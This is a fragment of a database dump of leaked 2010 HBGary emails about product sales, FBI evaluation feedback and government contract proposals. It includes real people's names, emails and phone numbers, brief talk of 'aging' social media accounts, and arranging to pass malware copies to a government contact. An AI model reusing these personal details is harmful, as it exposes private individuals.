&lt;Nicholas.Handy@ic.fbi.gov&gt;\r\nDate: Thu, Aug 5, 2010 at 1:54 PMSubject: RE: HBGary follow upTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\nThe Malware guys thought there was just too much to sort through with DDNA scoring and not enough smoking guns I guess.  Especially, since they had figured out what it already did and knew what to look for and didn’t see it appear in the DDNA.  That’s really all I can say.\r\n\r\n \r\nPersonally, I like the concept for our forensic guys (like myself) and  a few others with the scoring but other free tools like Audit Viewer help us get by right now.  Like I said, if it wasn’t so pricey it might have more potential but it’s going to be tough for me to convince the powers that be to purchase it, especially if the majority of the team doesn’t like it. \r\n\r\n \r\nThe other thing that I noticed that I didn’t like was going through DDNA a lot of it seems to be “this could be used for,”  not this is used for.  So, its basically like saying “this might be bad, but might not be either,” so it can be a bit frustrating. Especially when you are trying to sort through what you should be prioritizing to look at. \r\n\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Thursday, August 05, 2010 4:35 PMTo: Handy, Nicholas E.Subject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nNick\r\n\r\n \r\n\r\nThank you for the update.  Can you tell me where we fell short on the results?\r\n\r\n \r\n\r\nWas it the DDNA scoring / specific features like REcon / user interface etc.  It would be very helpful for us to know so that we know how to prioritize our efforts to improve the product.\r\n\r\n \r\n\r\nMaria\r\n\r\nOn Thu, Aug 5, 2010 at 1:29 PM, Handy, Nicholas E. &lt;Nicholas.Handy@ic.fbi.gov&gt; wrote:\r\n\r\n\r\n\r\nWe tested it out a bit, but not as much as we would of liked too due to other circumstances. We did test it out on a couple of unique samples but honestly our guys just weren’t happy with the results.\r\n\r\n \r\nThe price is just too steep for us right now. If things change, I’ll let you know.\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Thursday, August 05, 2010 3:48 PMTo: Handy, Nicholas E.Subject: HBGary follow up\r\n\r\n\r\n \r\n\r\nHi Nick\r\n\r\n \r\n\r\nDo you have any feedback yet from your evaluation of Responder Pro?\r\n\r\n \r\n\r\nAlso, do you know if you will be purchasing a copy of Responder Pro this fiscal year?  I need to update my sales forecast and appreciate your help,\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',3341,'aaron_hbgary_com/3341.html'),(9812,'2010-08-06','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007712.M263129P14101Q4667.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','meeting with Al Vaziri at State Dept','Dion Herbert the Deputy Branch Chief at State Dept Diplomatic services network has assigned Al below to review HBGary products for next\r\nyears&#39; budget.  Al is available Thursday afternoon.  I know he has 2 offices: Maryland and DC and I have requested his location.  He prefers an onsite meeting.\r\n \r\nDion said he is responsible for network security for the Diplomatic Services network at the State Dept.  This is the largest network.\r\n \r\nI will create a meeting invitation for 2:00-3:00 and add the location when I get it.  \r\n \r\nMaria\r\n---------- Forwarded message ----------From: Vaziri-Zanjani, Ali &lt;Vaziri-ZanjaniA@state.gov&gt;\r\nDate: Thu, Aug 5, 2010 at 5:32 AMSubject: RE: HBGary follow upTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nNext Thursday afternoon can work.\r\n\r\n \r\nAl Vaziri\r\nSecurity Tools Architect\r\nNetwork Monitoring Center; DS/SI/CS/ESS\r\nDepartment of State - Bureau of Diplomatic Security \r\nSA-26 / SA-20\r\nPhone: 571-345-2578 @ SA-20\r\nE-Mail: Vaziri-ZanjaniA@State.gov\r\n \r\nü Please consider the environment before printing this e-mail.\r\n\r\n \r\nCLASSIFICATION: UNCLASSIFIED\r\nThis e-mail is unclassified based on the definition provided in E.O. 13292\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 04, 2010 6:41 PM\r\nTo: Vaziri-Zanjani, AliSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nHi Ali\r\n\r\n \r\n\r\nAre you available next week?  Thursday or Friday?\r\n\r\n \r\n\r\nMaria\r\n\r\nOn Mon, Aug 2, 2010 at 5:45 AM, Vaziri-Zanjani, Ali &lt;Vaziri-ZanjaniA@state.gov&gt; wrote:\r\n\r\n\r\nLet me see if I can find some time this week. I’ll get back to you.\r\n \r\nAl Vaziri\r\nSecurity Tools Architect\r\nNetwork Monitoring Center; DS/SI/CS/ESS\r\nDepartment of State - Bureau of Diplomatic Security \r\nSA-26 / SA-20\r\nPhone: 571-345-2578 @ SA-20\r\nE-Mail: Vaziri-ZanjaniA@State.gov\r\n \r\nü Please consider the environment before printing this e-mail.\r\n\r\n \r\nCLASSIFICATION: UNCLASSIFIED\r\nThis e-mail is unclassified based on the definition provided in E.O. 13292\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Friday, July 30, 2010 8:22 PM\r\nTo: Vaziri-Zanjani, AliSubject: HBGary follow up\r\n\r\n\r\n \r\n\r\nHi Al\r\n\r\n \r\n\r\nDid you have time to look at schedules for a meeting with HBGary to review our products for enterprise malware detection and incident response?\r\n\r\n \r\n\r\nAlso, will you be attending the GFIRST conference in San Antonio in August?\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',8498,'aaron_hbgary_com/8498.html'),(9813,'2010-08-06','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007712.M540828P14101Q4668.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Vaziri-ZanjaniA@state.gov\" <vaziri-zanjania@state.gov>','Invitation: State Dept Presentation -- HBGary technology and for 	moni... @ Thu Aug 12 2pm - 3pm (aaron@hbgary.com)',' more details &raquo;State Dept Presentation -- HBGary technology and for monitoring/detecting/mitigating malware Agenda\r\n\r\nPresent HBGary technologies to Al Vaziri at State Dept.\r\n-- HBGary approach\r\n-- HBGary technology / services\r\n-- HBGary product demonstrations\r\n\r\nHBGary CTO Rich Cummings\r\nHBGary Federal CEO Aaron Barr\r\n\r\nAl Vaziri\r\nSecurity Tools Architect\r\nNetwork Monitoring Center; DS/SI/CS/ESS\r\nDepartment of State - Bureau of Diplomatic Security \r\nSA-26 / SA-20\r\nPhone: 571-345-2578 @ SA-20\r\nE-Mail: Vaziri-ZanjaniA@State.govWhenThu Aug 12 2pm – 3pm Eastern TimeWhereto be added (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;Aaron Barr&#x2022;Rich Cummings&#x2022;Vaziri-ZanjaniA@state.govGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',8513,'aaron_hbgary_com/8513.html'),(9814,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007712.M762042P14101Q4669.eml','\"Robert Frisbie\" <Robert.Frisbie@ManTech.com>','Discussions','Bob,\r\n\r\nI hope the discussions today were helpful.  It was great to meet Mark.  Sorry for any confusion over what can be done.  Eric was interested in this capability as well and I think he might be under the same impression, that we can age Social Media accounts.  I will work with Ted to get together a brief proposal on a development approach to build a prototype management capability.\r\n\r\nGood discussion with both JJ and Peter.  JJ is smart guy.  Not saying Peter is a slouch... I am sure you get the point.  I am confident there is a benefit connecting JJs teams capabilities to new media, but JJ made me think hard about the use case.  Against his existing requirements the use cases is harder to make, but that organization won\'t be laser focused for ever and eventually will to start looking at a broader set of national priority targets.  At that point the use case for using new media is much clearer I think.  I hope that makes sense.\r\n\r\nI am going to get Peter some resumes as their maybe opportunities on the existing contract for the right folks.  On the NMEC(sp) work the immediate needs are more video centric.  I can\'t help much there.  On the larger media effort I can probably help at some point, at least thats the way it sounds with a cursory understanding.\r\n\r\nI continue to be impressed with your team.  Maybe some day I will be part of it. ;)\r\n\r\nBTW, I know Bill has got to be swamped.  I have an appointment to meet with him on Wednesday.  HBGary Inc is aggressively looking to be purchased.  They have hired a broker and have a few different companies interested.  Now we are two separate companies, but that certainly has implications for my company.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8530,'aaron_hbgary_com/8530.html'),(9815,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007712.M984397P14101Q4670.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>,\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: services talk for customer','sounds good.How about 1pm? or 3pm?AaronOn Aug 5, 2010, at 4:56 PM, Sullivan, Mary wrote:Hi Aaron,I was just having a conversation with our west commercial rep, Toby Richardson (copied), regarding a commercial opportunity he’s been working. They love the Fidelis platform but don’t really have an IR/forensic team of their own per se (although there was one guy at BH). Evidently, the CISO knows and admires HB Gary, although I don’t know if they own any. That triggered the thought that perhaps we could discuss an engagement where the customer buys our solution wrapped with &nbsp;a service from you, to help get some “intelligence” into their Fidelis system about the nature of the threat.&nbsp;Can the three of us hop on a call tomorrow and discuss this? I’m free anytime but 2.&nbsp;Thanks,Mary&nbsp;Mary Sullivan | Federal Sales Manager | Fidelis Security Systems, Inc.D 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com&nbsp;See It | Study It | Stop It with Fidelis XPS:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9561,'aaron_hbgary_com/9561.html'),(9816,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007713.M196634P14101Q4671.eml','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','Re: Number','Hi Cheryl,\r\n\r\nCan I schedule an appointment with you to come by and chat for a few minutes?\r\n\r\nAaron\r\n\r\nOn Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\n\r\n> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Fri Jul 30 20:02:44 2010\r\n> Subject: Number\r\n> \r\n> Cheryl,\r\n> \r\n> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n> your number handy.  It will only take moment, but I have some\r\n> information for you.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal\r\n> 7195108478\r\n> \r\n> -- \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5126,'aaron_hbgary_com/5126.html'),(9817,'2010-08-06','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007715.M257482P14101Q4672.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: TSA ITSSS Kickoff Timeline and Process','\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> To: Aaron Barr \r\n> Subject: RE: TSA ITSSS Kickoff Timeline and Process\r\n> \r\n\r\n> Here’s the full PPT on the opp I’ve been maintaining, but is about a week old.  Obviously keep the actual document for yourself.\r\n> \r\n> Knowledge Consulting Group, KCG.  See slide in the PPT.\r\n> \r\n> -John\r\n> \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n> \r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, August 04, 2010 2:58 PM\r\n> To: John Fanguy\r\n> Subject: Re: TSA ITSSS Kickoff Timeline and Process\r\n> \r\n> Who is the incumbent again?\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 4, 2010, at 2:52 PM, John Fanguy > wrote:\r\n> Great!!!\r\n> \r\n> -John\r\n> \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n> \r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, August 04, 2010 2:52 PM\r\n> To: John Fanguy\r\n> Cc: William Luti; William E. Miller; Scott B. Deutschman\r\n> Subject: Re: TSA ITSSS Kickoff Timeline and Process\r\n> \r\n> I have contacted the right person at Mantech and they are very interested.  I am going to have a brief call with them this afternoon to bring them up to speed on the opportunity and then put them in contact with you.\r\n> \r\n> Sound good?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 3, 2010, at 6:04 PM, John Fanguy wrote:\r\n> \r\n> \r\n> \r\n> Aaron-\r\n> \r\n> Really excited to have you on the team! Bill Luti and I will be working hard to get you more work share ultimately.\r\n> \r\n> We’re conducting the kickoff tomorrow morning 9:30am – 11:00am in our offices.  We were all caught off-guard a bit, so not all the teaming members will be there.  I think you are up-to-date with Bill on our teaming partner status.\r\n> \r\n> Nonetheless, since you are a major content contributor I wanted to give you the overall schedule in advance, so that we can move out on our response tomorrow after the meeting.\r\n> \r\n> For the kickoff here’s what we’ll have:\r\n> 1)      Proposal outline\r\n> 2)      Proposal info sheet\r\n> 3)      Overall Proposal Process  (attached)\r\n> \r\n> And here’s what we want to accomplish during that 90 mins:\r\n> 1)      Team contact info sheet\r\n> \r\n',2592,'aaron_hbgary_com/2592.html'),(9818,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007720.M237552P14101Q4673.eml','\"Ted Vera\" <ted@hbgary.com>','SOW','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3735,'aaron_hbgary_com/3735.html'),(9819,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007721.M280272P14101Q4674.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Task Order 1 SOW','I want to make sure I am tracking what you all were asking.\r\n\r\nI am working my way through the Task Order 1 SOW, but realized I thought you guys said you didn\'t see a TA1 SOW just an IDIQ SOW?\r\n\r\nIt starts on Page 8 of the following document.\r\n\r\n',5265,'aaron_hbgary_com/5265.html'),(9820,'2010-08-06','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007721.M504439P14101Q4675.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Discussion','I have some reservations about your premise.  Be careful who you tell that\r\ndefense is impossible, as you\'ll lose business with that line of reasoning.\r\nIt disempowers individuals and makes them dependent on a larger solution\r\nthat they can\'t control and may not be able to influence.  \r\n\r\nOn another point, do you still have a copy of that malware we discussed.  I\r\nhad a conversation with someone in government and they asked me for a copy\r\nof it.  I could serve as an intermediary or I could put you in contact\r\ndirectly.  It is not NSA or CIA.  What do you think?  \r\n\r\nTom\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 02, 2010 11:05 PM\r\nTo: Conroy, Thomas W.\r\nSubject: EXTERNAL:Discussion\r\n\r\nTom,\r\n\r\nNice to see you today.  As always I will look to build capabilities that\r\nmake a difference and will look to those organizations that I know to\r\nsupport efforts as they arise.\r\n\r\nI wanted to share a dialog I had with the CEO of HBGary proper regarding the\r\nfuture of cybersecurity....  I would be interested in your thoughts.  I am\r\nmeeting with InQTel next week, talking with MITRE, and the FBI.  Working to\r\ndevelop a standard for threat intelligence, a threat repository, a\r\nmethodology to share information on threats.  There are not many people that\r\nseem to understand both security and path of technology.  Threats are llke,\r\nthey take the path of least resistance, but inevitably with time, they are\r\nsuccessful.  We still believe we can build better mousetraps... we can\'t.\r\nThe only way to get ahead of the problem is what I discuss below.  I am just\r\nstruggling to implement.  In Northrop I was too encumbered by a bureaucracy.\r\nIn a small business I am, well small.  I know influential people... well you\r\nknow the challenges.  (PS.  I haven\'t forgot about the news idea, just been\r\nbusy trying to make payroll. :))  I called today and am waiting to hear back\r\nfrom the contact you gave me.  Greg Hoglund and I are beginning to write a\r\nbook about the future of technology and security that has this as the\r\nskeleton.\r\n\r\n---------------------\r\nThe trajectory of technology = Mobility + Social + Cloud\r\n\r\nThis = perimeterless environment, + promiscuous networking + open PII.\r\n\r\nComputer security is not possible, not remotely given the current trajectory\r\nof security.  Even host based behavioral detection can not keep up with this\r\nwithout significant additional capabilities.  I see only two paths to\r\nimproving this.  As the stakes are raised to organized crime and nation\r\nstate FIS (Foreign Intelligence Services) anything is possible.  Backbone\r\ncompromises, Supply Chain compromises, specialized insider threats,\r\nlegitimate commercial services.\r\n\r\nChoices to better security.\r\nComplete rework of the computer and communications architecture. (not likely\r\nand certainly not within 5 years).  There are some technologies short of\r\nthis that will help; broad distribution and management of personal certs and\r\npervasive encryption.  But the implementation of this is a bugger.  Again\r\nlong ways away.\r\nor\r\nIntelligence, Incident Response, and IO.\r\n\r\nThe area Incident Response requires some clarification because I don\'t mean\r\nit in the traditionally understood sense.  I mean human and system response\r\nto abnormal cyber conditions.  I mean system and mission resiliency in the\r\nface of compromise and attack.  This requires good intelligence, we can\r\nimprove human and system response with better intelligence.\r\n\r\nIO requires some intelligence but is more a feeder to intelligence.  All\r\noffense all the time.  Forward deployed and embedded capabilities that can\r\ngive us insight, I&W, knowledge of threats, their intent and capabilities.\r\nThis is a blended approach of all of the capabilities available.\r\nCoordinated campaigns\r\n\r\nIntelligence.  This is a bugger.  Some of it because of organizational and\r\nbureaucratic boundaries.  Some of it is we just don\'t know how to organize\r\nthe data.  Threats are complex as we have discussed.  How do you develop a\r\nthreat focused intelligence capability?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7555,'aaron_hbgary_com/7555.html'),(9821,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007721.M731441P14101Q4676.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: EXTERNAL:Discussion','Good point.  I need to temper the message.  Ultimately I think unless something changes my premise is accurate but that doesn\'t mean we shouldn\'t keep trying to secure out systems through IT.\r\n\r\nI do have a few copies of the malware.  I would be happy to talk with your contact.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 6, 2010, at 6:13 AM, \"Conroy, Thomas W.\"  wrote:\r\n\r\n> I have some reservations about your premise.  Be careful who you tell that\r\n> defense is impossible, as you\'ll lose business with that line of reasoning.\r\n> It disempowers individuals and makes them dependent on a larger solution\r\n> that they can\'t control and may not be able to influence.  \r\n> \r\n> On another point, do you still have a copy of that malware we discussed.  I\r\n> had a conversation with someone in government and they asked me for a copy\r\n> of it.  I could serve as an intermediary or I could put you in contact\r\n> directly.  It is not NSA or CIA.  What do you think?  \r\n> \r\n> Tom\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 11:05 PM\r\n> To: Conroy, Thomas W.\r\n> Subject: EXTERNAL:Discussion\r\n> \r\n> Tom,\r\n> \r\n> Nice to see you today.  As always I will look to build capabilities that\r\n> make a difference and will look to those organizations that I know to\r\n> support efforts as they arise.\r\n> \r\n> I wanted to share a dialog I had with the CEO of HBGary proper regarding the\r\n> future of cybersecurity....  I would be interested in your thoughts.  I am\r\n> meeting with InQTel next week, talking with MITRE, and the FBI.  Working to\r\n> develop a standard for threat intelligence, a threat repository, a\r\n> methodology to share information on threats.  There are not many people that\r\n> seem to understand both security and path of technology.  Threats are llke,\r\n> they take the path of least resistance, but inevitably with time, they are\r\n> successful.  We still believe we can build better mousetraps... we can\'t.\r\n> The only way to get ahead of the problem is what I discuss below.  I am just\r\n> struggling to implement.  In Northrop I was too encumbered by a bureaucracy.\r\n> In a small business I am, well small.  I know influential people... well you\r\n> know the challenges.  (PS.  I haven\'t forgot about the news idea, just been\r\n> busy trying to make payroll. :))  I called today and am waiting to hear back\r\n> from the contact you gave me.  Greg Hoglund and I are beginning to write a\r\n> book about the future of technology and security that has this as the\r\n> skeleton.\r\n> \r\n> ---------------------\r\n> The trajectory of technology = Mobility + Social + Cloud\r\n> \r\n> This = perimeterless environment, + promiscuous networking + open PII.\r\n> \r\n> Computer security is not possible, not remotely given the current trajectory\r\n> of security.  Even host based behavioral detection can not keep up with this\r\n> without significant additional capabilities.  I see only two paths to\r\n> improving this.  As the stakes are raised to organized crime and nation\r\n> state FIS (Foreign Intelligence Services) anything is possible.  Backbone\r\n> compromises, Supply Chain compromises, specialized insider threats,\r\n> legitimate commercial services.\r\n> \r\n> Choices to better security.\r\n> Complete rework of the computer and communications architecture. (not likely\r\n> and certainly not within 5 years).  There are some technologies short of\r\n> this that will help; broad distribution and management of personal certs and\r\n> pervasive encryption.  But the implementation of this is a bugger.  Again\r\n> long ways away.\r\n> or\r\n> Intelligence, Incident Response, and IO.\r\n> \r\n> The area Incident Response requires some clarification because I don\'t mean\r\n> it in the traditionally understood sense.  I mean human and system response\r\n> to abnormal cyber conditions.  I mean system and mission resiliency in the\r\n> face of compromise and attack.  This requires good intelligence, we can\r\n> improve human and system response with better intelligence.\r\n> \r\n> IO requires some intelligence but is more a feeder to intelligence.  All\r\n> offense all the time.  Forward deployed and embedded capabilities that can\r\n> give us insight, I&W, knowledge of threats, their intent and capabilities.\r\n> This is a blended approach of all of the capabilities available.\r\n> Coordinated campaigns\r\n> \r\n> Intelligence.  This is a bugger.  Some of it because of organizational and\r\n> bureaucratic boundaries.  Some of it is we just don\'t know how to organize\r\n> the data.  Threats are complex as we have discussed.  How do you develop a\r\n> threat focused intelligence capability?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',1652,'aaron_hbgary_com/1652.html'),(9822,'2010-08-06','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007721.M930934P14101Q4677.eml','aaron@hbgary.com','Re: EXTERNAL:Discussion','I\'ll see about next steps on the malware. I\'ll call later. \r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Conroy, Thomas W.\r\nSent: Fri Aug 06 06:12:10 2010\r\nSubject: Re: EXTERNAL:Discussion\r\n\r\nGood point.  I need to temper the message.  Ultimately I think unless something changes my premise is accurate but that doesn\'t mean we shouldn\'t keep trying to secure out systems through IT.\r\n\r\nI do have a few copies of the malware.  I would be happy to talk with your contact.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 6, 2010, at 6:13 AM, \"Conroy, Thomas W.\"  wrote:\r\n\r\n> I have some reservations about your premise.  Be careful who you tell that\r\n> defense is impossible, as you\'ll lose business with that line of reasoning.\r\n> It disempowers individuals and makes them dependent on a larger solution\r\n> that they can\'t control and may not be able to influence.  \r\n> \r\n> On another point, do you still have a copy of that malware we discussed.  I\r\n> had a conversation with someone in government and they asked me for a copy\r\n> of it.  I could serve as an intermediary or I could put you in contact\r\n> directly.  It is not NSA or CIA.  What do you think?  \r\n> \r\n> Tom\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 02, 2010 11:05 PM\r\n> To: Conroy, Thomas W.\r\n> Subject: EXTERNAL:Discussion\r\n> \r\n> Tom,\r\n> \r\n> Nice to see you today.  As always I will look to build capabilities that\r\n> make a difference and will look to those organizations that I know to\r\n> support efforts as they arise.\r\n> \r\n> I wanted to share a dialog I had with the CEO of HBGary proper regarding the\r\n> future of cybersecurity....  I would be interested in your thoughts.  I am\r\n> meeting with InQTel next week, talking with MITRE, and the FBI.  Working to\r\n> develop a standard for threat intelligence, a threat repository, a\r\n> methodology to share information on threats.  There are not many people that\r\n> seem to understand both security and path of technology.  Threats are llke,\r\n> they take the path of least resistance, but inevitably with time, they are\r\n> successful.  We still believe we can build better mousetraps... we can\'t.\r\n> The only way to get ahead of the problem is what I discuss below.  I am just\r\n> struggling to implement.  In Northrop I was too encumbered by a bureaucracy.\r\n> In a small business I am, well small.  I know influential people... well you\r\n> know the challenges.  (PS.  I haven\'t forgot about the news idea, just been\r\n> busy trying to make payroll. :))  I called today and am waiting to hear back\r\n> from the contact you gave me.  Greg Hoglund and I are beginning to write a\r\n> book about the future of technology and security that has this as the\r\n> skeleton.\r\n> \r\n> ---------------------\r\n> The trajectory of technology = Mobility + Social + Cloud\r\n> \r\n> This = perimeterless environment, + promiscuous networking + open PII.\r\n> \r\n> Computer security is not possible, not remotely given the current trajectory\r\n> of security.  Even host based behavioral detection can not keep up with this\r\n> without significant additional capabilities.  I see only two paths to\r\n> improving this.  As the stakes are raised to organized crime and nation\r\n> state FIS (Foreign Intelligence Services) anything is possible.  Backbone\r\n> compromises, Supply Chain compromises, specialized insider threats,\r\n> legitimate commercial services.\r\n> \r\n> Choices to better security.\r\n> Complete rework of the computer and communications architecture. (not likely\r\n> and certainly not within 5 years).  There are some technologies short of\r\n> this that will help; broad distribution and management of personal certs and\r\n> pervasive encryption.  But the implementation of this is a bugger.  Again\r\n> long ways away.\r\n> or\r\n> Intelligence, Incident Response, and IO.\r\n> \r\n> The area Incident Response requires some clarification because I don\'t mean\r\n> it in the traditionally understood sense.  I mean human and system response\r\n> to abnormal cyber conditions.  I mean system and mission resiliency in the\r\n> face of compromise and attack.  This requires good intelligence, we can\r\n> improve human and system response with better intelligence.\r\n> \r\n> IO requires some intelligence but is more a feeder to intelligence.  All\r\n> offense all the time.  Forward deployed and embedded capabilities that can\r\n> give us insight, I&W, knowledge of threats, their intent and capabilities.\r\n> This is a blended approach of all of the capabilities available.\r\n> Coordinated campaigns\r\n> \r\n> Intelligence.  This is a bugger.  Some of it because of organizational and\r\n> bureaucratic boundaries.  Some of it is we just don\'t know how to organize\r\n> the data.  Threats are complex as we have discussed.  How do you develop a\r\n> threat focused intelligence capability?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',7030,'aaron_hbgary_com/7030.html'),(9823,'2010-08-06','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007722.M144970P14101Q4678.eml','aaron@hbgary.com,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,msteckman@palantir.com,\"Paul Meaney\" <paul.meaney@ngc.com>,rob.wilson@telos.com,robert.sanderson@telos.com,Suzanne.Petrie@TASC.COM,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William Luti\" <wluti@digitalmanagement.com>','TSA-ITSSS Daily Team Call 8:30am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Occurs every weekday effective 8/6/2010 until 8/30/2010 from 8:30 AM to 8:45 AM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 605-475-4850 code 1066743#; DMI Bethesda\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',7618,'aaron_hbgary_com/7618.html'),(9824,'2010-08-06','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007722.M344861P14101Q4679.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Task Order 1 SOW','Right.  What\'s puzzling to us is that it implies that the deliverables across all those IA areas are enough info to estimate hours/year across all the labor categories. \r\n\r\nIt may just be that Ken and I are just not familiar enough with these specific deliverables to do any level of estimating.  We\'re going to ask for clarification to the government, but I believe they expect us to estimate based on that list of deliverables.  \r\n\r\nAm very much hoping you and other IA people on the team know how to \"eye-ball\" deliverables and put an hour estimate for the right labor categories.  \r\n\r\nCould you before 2pm go thru the each set of deliverables and let us know which ones you feel comfortable estimating for effort/labor category?  \r\n\r\n-John\r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 06, 2010 12:58 AM\r\nTo: John Fanguy\r\nSubject: Task Order 1 SOW\r\n\r\nI want to make sure I am tracking what you all were asking.\r\n\r\nI am working my way through the Task Order 1 